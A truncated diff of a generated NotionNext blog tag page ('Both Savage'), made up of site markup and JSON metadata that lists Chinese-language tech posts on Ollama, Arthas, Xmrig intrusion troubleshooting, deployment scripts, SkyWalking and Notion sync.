0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="bg-white dark:bg-gray-700 py-10"><div class="dark:text-gray-200 mb-5"><i class="mr-4 fas fa-tag"></i>Tags<!-- -->:</div><div id="tags-list" class="duration-200 flex flex-wrap"><div class="p-2"><a class="cursor-pointer inline-block rounded hover:bg-gray-500 hover:text-white duration-200
         mr-2 py-1 px-2 text-xs whitespace-nowrap dark:hover:text-white
          text-gray-600 hover:shadow-xl dark:border-gray-400 notion-red_background dark:bg-gray-800" href="/tag/%E6%8E%A8%E8%8D%90"><div class="font-light dark:text-gray-400"> <!-- -->推荐(8)<!-- --> </div></a></div><div class="p-2"><a class="cursor-pointer inline-block rounded hover:bg-gray-500 hover:text-white duration-200
         mr-2 py-1 px-2 text-xs whitespace-nowrap dark:hover:text-white
@@ -31,4 +31,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true},"page":"/tag","query":{},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"s